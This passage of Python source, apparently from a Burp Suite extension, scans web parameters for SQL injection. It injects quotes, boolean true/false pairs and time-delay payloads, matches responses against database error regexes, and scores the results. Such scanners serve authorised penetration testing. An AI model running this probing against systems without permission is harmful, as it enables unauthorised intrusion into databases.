self.error_array = ["SQL syntax.*?MySQL","Warning.*?\\Wmysqli?_","MySQLSyntaxErrorException","valid MySQL result","check the manual that (corresponds to|fits) your MySQL server version","Unknown column '[^ ]+' in 'field list'","MySqlClient\\.","com\\.mysql\\.jdbc","Zend_Db_(Adapter|Statement)_Mysqli_Exception","Pdo[./_\\\\]Mysql","MySqlException","SQLSTATE\\[\\d+\\]: Syntax error or access violation","check the manual that (corresponds to|fits) your MariaDB server version","check the manual that (corresponds to|fits) your Drizzle server version","MemSQL does not support this type of query","is not supported by MemSQL","unsupported nested scalar subselect","PostgreSQL.*?ERROR","Warning.*?\\Wpg_","valid PostgreSQL result","Npgsql\\.","PG::SyntaxError:","org\\.postgresql\\.util\\.PSQLException","ERROR:\\s\\ssyntax error at or near","ERROR: parser: parse error at or near","PostgreSQL query failed","org\\.postgresql\\.jdbc","Pdo[./_\\\\]Pgsql","PSQLException","Driver.*? SQL[\\-\\_\\ ]*Server","OLE DB.*? SQL Server","\\bSQL Server[^<"]+Driver","Warning.*?\\W(mssql|sqlsrv)_","\\bSQL Server[^<"]+[0-9a-fA-F]{8}","System\\.Data\\.SqlClient\\.SqlException\\.(SqlException|SqlConnection\\.OnError)","(?s)Exception.*?\\bRoadhouse\\.Cms\\.","Microsoft SQL Native Client error '[0-9a-fA-F]{8}","\\[SQL Server\\]","ODBC SQL Server Driver","ODBC Driver \\d+ for SQL Server","SQLServer JDBC Driver","com\\.jnetdirect\\.jsql","macromedia\\.jdbc\\.sqlserver","Zend_Db_(Adapter|Statement)_Sqlsrv_Exception","com\\.microsoft\\.sqlserver\\.jdbc","Pdo[./_\\\\](Mssql|SqlSrv)","SQL(Srv|Server)Exception","Unclosed quotation mark after the character string","Microsoft Access (\\d+ )?Driver","JET Database Engine","Access Database Engine","ODBC Microsoft Access","Syntax error \\(missing operator\\) in query expression","\\bORA-\\d{5}","Oracle error","Oracle.*?Driver","Warning.*?\\W(oci|ora)_","quoted string not properly terminated","SQL command not properly ended","macromedia\\.jdbc\\.oracle","oracle\\.jdbc","Zend_Db_(Adapter|Statement)_Oracle_Exception","Pdo[./_\\\\](Oracle|OCI)","OracleException","CLI Driver.*?DB2","DB2 SQL error","\\bdb2_\\w+\\(","SQLCODE[=:\\d, -]+SQLSTATE","com\\.ibm\\.db2\\.jcc","Zend_Db_(Adapter|Statement)_Db2_Exception","Pdo[./_\\\\]Ibm","DB2Exception","ibm_db_dbi\\.ProgrammingError","Warning.*?\\Wifx_","Exception.*?Informix","Informix ODBC Driver","ODBC Informix driver","com\\.informix\\.jdbc","weblogic\\.jdbc\\.informix","Pdo[./_\\\\]Informix","IfxException","Dynamic SQL Error","Warning.*?\\Wibase_","org\\.firebirdsql\\.jdbc","Pdo[./_\\\\]Firebird","SQLite/JDBCDriver","SQLite\\.Exception","(Microsoft|System)\\.Data\\.SQLite\\.SQLiteException","Warning.*?\\W(sqlite_|SQLite3::)","\\[SQLITE_ERROR\\]","SQLite error \\d+:","sqlite3.OperationalError:","SQLite3::SQLException","org\\.sqlite\\.JDBC","Pdo[./_\\\\]Sqlite","SQLiteException","SQL error.*?POS([0-9]+)","Warning.*?\\Wmaxdb_","DriverSapDB","-3014.*?Invalid end of SQL statement","com\\.sap\\.dbtech\\.jdbc","\\[-3008\\].*?: Invalid keyword or missing delimiter","Warning.*?\\Wsybase_","Sybase message","Sybase.*?Server message","SybSQLException","Sybase\\.Data\\.AseClient","com\\.sybase\\.jdbc","Warning.*?\\Wingres_","Ingres SQLSTATE","Ingres\\W.*?Driver","com\\.ingres\\.gcf\\.jdbc","Exception (condition )?\\d+\\. Transaction rollback","com\\.frontbase\\.jdbc","Syntax error 1. Missing","(Semantic|Syntax) error [1-4]\\d{2}\\.","Unexpected end of command in statement \\[","Unexpected token.*?in statement \\[","org\\.hsqldb\\.jdbc","org\\.h2\\.jdbc","\\[42000-192\\]","![0-9]{5}![^\\n]+(failed|unexpected|error|syntax|expected|violation|exception)","\\[MonetDB\\]\\[ODBC Driver","nl\\.cwi\\.monetdb\\.jdbc","Syntax error: Encountered","org\\.apache\\.derby","ERROR 42X01",", Sqlstate: (3F|42).{3}, (Routine|Hint|Position):","/vertica/Parser/scan","com\\.vertica\\.jdbc","org\\.jkiss\\.dbeaver\\.ext\\.vertica","com\\.vertica\\.dsi\\.dataengine","com\\.mckoi\\.JDBCDriver","com\\.mckoi\\.database\\.jdbc","<REGEX_LITERAL>","com\\.facebook\\.presto\\.jdbc","io\\.prestosql\\.jdbc","com\\.simba\\.presto\\.jdbc","UNION query has different number of fields: \\d+, \\d+","Altibase\\.jdbc\\.driver","com\\.mimer\\.jdbc","Syntax error,[^\\n]+assumed to mean","io\\.crate\\.client\\.jdbc","encountered after end of query","A comparison operator is required here","-10048: Syntax error","rdmStmtPrepare\\(.+?\\) returned","SQ074: Line \\d+:","SR185: Undefined procedure","SQ200: No table ","Virtuoso S0002 Error","\\[(Virtuoso Driver|Virtuoso iODBC Driver)\\]\\[Virtuoso Server\\]"]
normalDetection=['"',';','\'']
vulnDescription=""
searchFound=None
for kk in normalDetection:
value=str(param_value)+kk
if ptype == 0 or ptype == 1:
new_paramters_value = self._helpers.buildParameter(name, value, ptype)
updated_request = self._helpers.updateParameter(request, new_paramters_value)
else:
oldjsonreq=json.loads(requestBody)
newjsonreq=self.replaceInJSONRequestBody(oldjsonreq,name,param_value,value)
updated_request = self._helpers.buildHttpMessage(headers, json.dumps(newjsonreq))
attack = self.makeRequest(Comp_req, updated_request)
response1 = attack.getResponse()
responseString=response1[self._helpers.analyzeResponse(response1).getBodyOffset():].tostring()
for j in self.error_array:
x=re.search(j,responseString)
if(x):
vulnDescription="The following SQL error message regex - '"+j+"' has been matched in the response.\n"
sqli_description.append(vulnDescription)
searchFound=True
score=score+3
tempAttack=attack
break
new_time = datetime.datetime.today()
# response_str1 = self._helpers.bytesToString(response1)
if(searchFound == None):
singleQuoteStatusOutput=[]
singleQuoteResponseLengthOutput=[]
for jj in singleQuoteValue:
value=str(param_value)+jj
if ptype == 0 or ptype == 1:
new_paramters_value = self._helpers.buildParameter(name, value, ptype)
updated_request = self._helpers.updateParameter(request, new_paramters_value)
else:
oldjsonreq=json.loads(requestBody)
newjsonreq=self.replaceInJSONRequestBody(oldjsonreq,name,param_value,value)
updated_request = self._helpers.buildHttpMessage(headers, json.dumps(newjsonreq))
attack = self.makeRequest(Comp_req, updated_request)
response1 = attack.getResponse()
responseLength=len(response1[self._helpers.analyzeResponse(response1).getBodyOffset():].tostring())
singleQuoteResponseLengthOutput.append(responseLength)
new_time = datetime.datetime.today()
# response_str1 = self._helpers.bytesToString(response1)
singleQuoteStatusOutput.append(attack.getStatusCode())
tempAttack=attack
sqlireqresp.append(tempAttack)
searchFound2=None
if(searchFound == None):
if((singleQuoteStatusOutput[0]==singleQuoteStatusOutput[2]) and (singleQuoteStatusOutput[1]!=singleQuoteStatusOutput[0])):
score=score+2
searchFound2=True
sqli_description.append("The application is responding with "+str(singleQuoteStatusOutput[0])+" status code if odd number of quotes are supplied and responding with "+str(singleQuoteStatusOutput[1])+" status code if even number of quotes are supplied in the "+ self._helpers.urlDecode(name) +" parameter. Please confirm the SQL injection using the SQLMap or Ghauri tool")
else:
if((singleQuoteResponseLengthOutput[0]==singleQuoteResponseLengthOutput[2]) and (singleQuoteResponseLengthOutput[1]==singleQuoteResponseLengthOutput[3]) and (singleQuoteResponseLengthOutput[1]!=singleQuoteResponseLengthOutput[0])):
score=score+1
sqli_description.append("The application is responding with "+str(singleQuoteResponseLengthOutput[0])+" length if odd number of quotes are supplied and responding with "+str(singleQuoteResponseLengthOutput[1])+" length if even number of quotes are supplied in the "+ self._helpers.urlDecode(name) +" parameter. Please confirm the SQL injection using the SQLMap or Ghauri tool.")
else:
sqli_description.append("")
# print(score)
# ============================================================
# Stage 3a – Boolean-Based Blind SQLi (automatic, no toggle)
# Runs only when both error-based and behavioral checks miss.
# Requires 2 confirmed TRUE/FALSE payload pairs (eliminates
# false positives from dynamic pages). Updates sqli_description
# in-place so the per-parameter index alignment stays intact.
# ============================================================
searchFound3 = None
searchFound4 = None
if searchFound == None and searchFound2 == None:
param_ctx = self.detectParamContext(param_value)
bool_pairs = self.getBooleanPayloadPairs(param_ctx)
# Fresh baseline request for this parameter
bl_atk = self.makeRequest(Comp_req, request)
bl_resp = bl_atk.getResponse()
bl_len = len(bl_resp[self._helpers.analyzeResponse(bl_resp).getBodyOffset():].tostring())
bl_st = self._helpers.analyzeResponse(bl_resp).getStatusCode()
bool_confirmed = 0
bool_last_atk = None
b_t_len = b_f_len = b_t_st = b_f_st = 0
for (true_pl, false_pl) in bool_pairs:
t_val = str(param_value) + true_pl
f_val = str(param_value) + false_pl
if ptype == 0 or ptype == 1:
t_req = self._helpers.updateParameter(request, self._helpers.buildParameter(name, self._helpers.urlEncode(t_val), ptype))
f_req = self._helpers.updateParameter(request, self._helpers.buildParameter(name, self._helpers.urlEncode(f_val), ptype))
else:
t_req = self._helpers.buildHttpMessage(headers, json.dumps(self.replaceInJSONRequestBody(json.loads(requestBody), name, param_value, t_val)))
f_req = self._helpers.buildHttpMessage(headers, json.dumps(self.replaceInJSONRequestBody(json.loads(requestBody), name, param_value, f_val)))
t_atk = self.makeRequest(Comp_req, t_req)
t_resp = t_atk.getResponse()
t_len = len(t_resp[self._helpers.analyzeResponse(t_resp).getBodyOffset():].tostring())
t_st = self._helpers.analyzeResponse(t_resp).getStatusCode()
f_atk = self.makeRequest(Comp_req, f_req)
f_resp = f_atk.getResponse()
f_len = len(f_resp[self._helpers.analyzeResponse(f_resp).getBodyOffset():].tostring())
f_st = self._helpers.analyzeResponse(f_resp).getStatusCode()
TOL = 50 # bytes tolerance for "same response"
true_ok = (abs(t_len - bl_len) <= TOL and t_st == bl_st)
false_diff = (abs(f_len - bl_len) > TOL or f_st != bl_st)
t_f_diff = (abs(t_len - f_len) > TOL or t_st != f_st)
if true_ok and false_diff and t_f_diff:
bool_confirmed += 1
bool_last_atk = t_atk
b_t_len = t_len; b_f_len = f_len
b_t_st = t_st; b_f_st = f_st
if bool_confirmed >= 2:
break
if bool_confirmed >= 2:
score = score + 2
b_desc = ("[Boolean-Based Blind] Confirmed with 2 independent payload pairs. "
"Parameter: <b>" + self._helpers.urlDecode(name) + "</b>. "
"Context: " + param_ctx + ". "
"TRUE: " + str(b_t_len) + " bytes/status " + str(b_t_st) + ", "
"FALSE: " + str(b_f_len) + " bytes/status " + str(b_f_st) + ". "
"Please confirm with SQLMap or Ghauri.")
# Update last entry in-place (Stage 2 appended "" for this param)
if sqli_description and sqli_description[-1] == "":
sqli_description[-1] = b_desc
else:
sqli_description.append(b_desc)
sqlireqresp[-1] = bool_last_atk
searchFound3 = True
elif bool_confirmed == 1:
score = score + 1
b_desc = ("[Boolean-Based Blind – Tentative] Single-pair differential. "
"Parameter: <b>" + self._helpers.urlDecode(name) + "</b>. "
"TRUE: " + str(b_t_len) + " bytes/status " + str(b_t_st) + ", "
"FALSE: " + str(b_f_len) + " bytes/status " + str(b_f_st) + ". "
"Please confirm with SQLMap or Ghauri.")
if sqli_description and sqli_description[-1] == "":
sqli_description[-1] = b_desc
else:
sqli_description.append(b_desc)
sqlireqresp[-1] = bool_last_atk
searchFound3 = True
# ============================================================
# Stage 3b – Time-Based Blind SQLi with Baseline Correction
# Measures 3 baseline requests, then requires delay > baseline
# + 4.5 s on TWO independent requests of the same payload.
# Eliminates slow-server and transient-jitter false positives.
# ============================================================
if searchFound == None and searchFound2 == None and searchFound3 == None:
param_ctx_tb = self.detectParamContext(param_value)
bl_times = []
for _bl in range(3):
_bt0 = time.time()
self.makeRequest(Comp_req, request)
bl_times.append(time.time() - _bt0)
baseline_rtt = sum(bl_times) / len(bl_times)
threshold = baseline_rtt + 4.5
for tp in self.getTimeBasedPayloads(param_ctx_tb):
tp_val = str(param_value) + tp
if ptype == 0 or ptype == 1:
tp_req = self._helpers.updateParameter(request, self._helpers.buildParameter(name, self._helpers.urlEncode(tp_val), ptype))
else:
tp_req = self._helpers.buildHttpMessage(headers, json.dumps(self.replaceInJSONRequestBody(json.loads(requestBody), name, param_value, tp_val)))
tp_t0 = time.time()
tp_atk = self.makeRequest(Comp_req, tp_req)
tp_diff = time.time() - tp_t0
if tp_diff >= threshold:
# Second confirmation request
tp2_t0 = time.time()
tp2_atk = self.makeRequest(Comp_req, tp_req)
tp2_diff = time.time() - tp2_t0
if tp2_diff >= threshold:
score = score + 2
t_desc = ("[Time-Based Blind] Delay ~" + str(round(tp_diff, 2)) +
"s (baseline " + str(round(baseline_rtt, 2)) +
"s, threshold " + str(round(threshold, 2)) + "s). "
"Parameter: <b>" + self._helpers.urlDecode(name) + "</b>. "
"Payload: " + tp +
". Confirmed on 2 independent requests. Confirm with SQLMap or Ghauri.")
if sqli_description and sqli_description[-1] == "":
sqli_description[-1] = t_desc
else:
sqli_description.append(t_desc)
sqlireqresp[-1] = tp_atk
searchFound4 = True
break
# print(score)
# Manual blind: only fires when ALL auto-stages found nothing AND toggle is ON
if(searchFound == None and searchFound2==None and searchFound3==None and searchFound4==None and self.blindSQLi.isSelected()):
for bb in self.finalPayloads:
value=str(param_value)+bb
if ptype == 0 or ptype == 1:
new_paramters_value = self._helpers.buildParameter(name, self._helpers.urlEncode(value), ptype)
updated_request = self._helpers.updateParameter(request, new_paramters_value)
else:
oldjsonreq=json.loads(requestBody)
newjsonreq=self.replaceInJSONRequestBody(oldjsonreq,name,param_value,value)
updated_request = self._helpers.buildHttpMessage(headers, json.dumps(newjsonreq))
start_time=time.time()
attack = self.makeRequest(Comp_req, updated_request)
end_time=time.time()
timeDiff=end_time-start_time
# print(timeDiff)
if((int(timeDiff)%5)==0 and int(timeDiff)!=0):
score=score+2
sqli_description.append("The application is responding with a delay of "+str(timeDiff)+" length if the following timebased payload "+str(bb)+" is supplied in the "+ self._helpers.urlDecode(name) +" parameter. Please confirm the SQL injection using the SQLMap or Ghauri tool.")
else:
sqli_description.append("")
# print(score)
if score >= 1: SQLiimp = self.CHECK
if score >= 2: SQLiimp = self.FOUND
sqliflag = self.checkBetterScore(score,sqliflag)
resultsqli.append(SQLiimp)
time.sleep(delay)
# ----------------------------------------------------------------
# Path Parameter Detection
# Run after the regular param loop so that numeric/UUID segments
# in the URL path are also tested. Results are appended to the
# same lists so the existing UI (tree, advisory, req/resp viewers)
# displays them identically to normal parameter findings.
# ----------------------------------------------------------------
sqliflag = self.testPathParams(
Comp_req, request, requestURL, requestBody, headers,
param_new, resultsqli, sqlireqresp, sqli_description,
excludedParameters, delay, sqliflag
)
if SQLiimp != "Disabled":
if sqliflag >= 2: SQLiimp = self.FOUND